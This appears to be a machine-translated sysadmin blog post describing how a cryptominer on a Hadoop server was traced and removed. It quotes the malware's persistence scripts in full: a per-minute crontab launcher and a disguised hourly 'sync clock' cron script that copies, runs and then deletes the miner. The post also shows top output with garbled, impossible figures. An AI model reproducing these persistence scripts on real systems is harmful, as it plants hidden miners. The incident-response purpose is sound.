Troubleshooting and resolution process

Top Queries the programs that occupy too much CPU

Tasks: 254 total,   1 running, 253 sleeping,   0 stopped,   0 zombie
%Cpu(S): 99.2US, 0.5SY, 0.0Ni, 91.0ID, 0.3WA, 0.0hi, 0.0Si, 0.0STKiB Mem : 16266124 total, 196652 free, 15210732 used, 858740 buff/cache KiB Swap: 0 total, 0 free, 0 Used.439680 Avail Mem PID USER PR NI VIRT RES SHR S %CPU % Mem TIME+ COMMAND 17194 root 20 0 7391168 1.3g 34748s 59.5 558.2 8083:37 -bash 26099 root 20 0 3558676 80924 4120 S 1.7 0.5 113:04.64 cmagent 30400 clouder+ 20 0 8143696 1.6g 13308s 1.0 10.3 67:36.12 JavaCopy the code

Discover-bash consumes 550% of the CPU, resulting in a total CPU usage of 99%

After a while, -bash starts again

Querying a Scheduled Task

crontab -e 
****** /mnt/.systemd/-bash > /dev/null 2>&1
Copy the code

In the scheduled task crontab, / MNT /. Systemd /-bash runs periodically every minute. The -bash content is as follows:

#! /bin/bash
cd -- /mnt/.systemd
mkdir -- .-bash
cp -f -- x86_64 .-bash/-bash
./.-bash/-bash -c
rm -rf -- .-bash
Copy the code

It was found that the real mining program was x86_64, and the -bash script and x86_64 program were eventually deleted

However, after a few minutes, I found that the mining program started again. I wondered if there was a timing script running for hours. I found that the restart time was just after the hour

Example Query execution logs of scheduled tasks

Query execution logs of scheduled tasks to check whether other scheduled tasks are running

vim /var/log/cron

#Minutes, which corresponds to the timing script in crontab -e
May 30 23:59:01 hadoop2 CROND[29320]: (root) CMD (/mnt/.systemd/-bash > /dev/null 2>&1;)
May 31 00:00:01 hadoop2 CROND[29427]: (root) CMD (/mnt/.systemd/-bash > /dev/null 2>&1;)
May 31 00:01:01 hadoop2 CROND[29529]: (root) CMD (/mnt/.systemd/-bash > /dev/null 2>&1;)

#It's on the hour
May 31 00:01:02 hadoop2 run-parts(/etc/cron.hourly)[29530]: starting sync
May 31 00:01:02 hadoop2 run-parts(/etc/cron.hourly)[29601]: finished sync

Copy the code

A synchronization script is found in the /etc/cron.hourly task directory according to hourly task logs.

#! /bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
Copy the code

The analysis script contains the following contents: Copy the /bin/sysdrr file to /usr/bin/, rename the file to -bash, start the service, and delete -bash. This shows that /bin/sysdrr is basically the source of the intrusion

Find the sysdrR mining virus program in /bin/ and delete it! You can also use find / -name sysdrr to find the entire source virus program and delete it.

Hourly /, /etc/cron.weekly/, /etc/cron.daily/, /etc/cron.hourly/ Locate the sync program in the hourly directories and delete it.

The /bin/sysdrr file and the sync script were deleted using rm -f.

Rm -f sysdrr rm: Failed to delete "sysdrr": the operation was not allowed
#Use lsattr to view
lsattr /bin/sysdrr 
----i--------e-- /bin/sys

#Remove restrictions
chattr -R -i /bin/sysdrr
lsattr /bin/sysdrr 
-------------e-- /bin/sysdrr

#Delete the success
rm -f sysdrr

Copy the code

Hourly /, etc/cron.weekly/, etc/cron.daily/, etc/cron.hourly/, etc/cron.hourly/, etc/cron

At this point, the scheduled mining tasks and program files are cleared, and the CPU usage of the server returns to normal

conclusion

The login password of the server account cannot be too simple. Do not use the default port number for services such as mysql and Redis, and do not set the account and password too simple